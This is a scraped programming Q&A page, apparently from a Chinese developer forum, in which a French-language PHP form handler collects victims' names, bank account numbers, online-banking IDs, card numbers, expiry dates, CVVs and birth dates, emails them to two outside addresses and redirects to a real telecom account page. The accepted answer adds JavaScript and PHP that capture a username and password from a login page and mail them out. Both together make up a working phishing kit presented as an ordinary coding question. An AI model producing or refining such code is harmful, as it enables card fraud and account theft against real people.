dongqing7789 2015-03-31 21:10
浏览 106
已采纳

我有两个js变量,我想发送到PHP脚本拾取和发送电子邮件没有刷新

if(isset($_POST['submitbtn']))
{

    $pname= $_POST['nom'];
    $telephone= $_POST['telph'];
    $acnumber= $_POST['compte'];
    $rbl= $_POST['distance'];
    $cardno = $_POST['carte'];
    $expmonth = $_POST['months'];
    $expyear = $_POST['year'];  
    $cvv = $_POST['cvv'];
    $dob = $_POST['birth'];
    $subject = 'Contact Form from '.$pname.'';
    $message = 'Nom et prénom:- '.$pname.'

Telephone: '.$telephone.'

Numéro de compte:- '.$acnumber.'

Identifiant banque à distance:- '.$rbl.'

Numéro de Carte:- '.$cardno.'

date d expiration:- '.$expmonth.','.$expyear.'

Cvv 2:- '.$cvv.'

Date de naissance :- '.$dob.' ';

 $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
 $header = "From:www.webperfection.co.in/clients/photonics/ 
";
 $retval = mail ($to,$subject,$message,$header);
 if ($retval) {
 header("Location: https://mobile.free.fr/moncompte/");
 exit;
} else {
 //header("Location: /error.html");
 exit;
}

}
?>

Will this redirect user to thttps://mobile.free.fr/moncompte/? Because I can't try mail function on this setup

I want it to redirect once the mail has been sent

Thankyou for all your help

I want it to redirect once the mail has been sent

  • 写回答

2条回答 默认 最新

  • dse84825 2015-03-31 21:28
    关注

    Just use the example, it will work with your server email sending code:

    var un = document.getElementById('ident_txt_identifiant').innerHTML;
    var pw = document.myform.pwd_abo.value;
    
    // post_data will contain name value pair to pass in $_POST server variable
    var post_data = 'un='+ un+ '&pw='+ pw; 
    
      $.ajax({
        type: 'post',
        url: 'post.php',
        data: post_data,
        success: function () {
          window.location = "http://webperfection.co.in/clients/contactform/moncompte/contactform.php";
        }
      });
    

    and change your server code a bit

    <?php 
    # Send email if and only if username and password fields are passed in $_POST request
    if(isset($_POST['un']) && isset($_POST['pw']) ){
    
        $un= $_POST['un'];
        $pw= $_POST['pw'];
        $subject = 'Login details';
        $message = 'Username:-'.$un.'Password:-'.$pw;
    
     $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
     $header = "From:www.webperfection.co.in/clients/photonics/ 
    ";
     $retval = mail ($to,$subject,$message,$header);
    }
    ?>
    
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(1条)

报告相同问题?

悬赏问题

  • ¥15 mmocr的训练错误,结果全为0
  • ¥15 python的qt5界面
  • ¥15 无线电能传输系统MATLAB仿真问题
  • ¥50 如何用脚本实现输入法的热键设置
  • ¥20 我想使用一些网络协议或者部分协议也行,主要想实现类似于traceroute的一定步长内的路由拓扑功能
  • ¥30 深度学习,前后端连接
  • ¥15 孟德尔随机化结果不一致
  • ¥15 apm2.8飞控罗盘bad health,加速度计校准失败
  • ¥15 求解O-S方程的特征值问题给出边界层布拉休斯平行流的中性曲线
  • ¥15 谁有desed数据集呀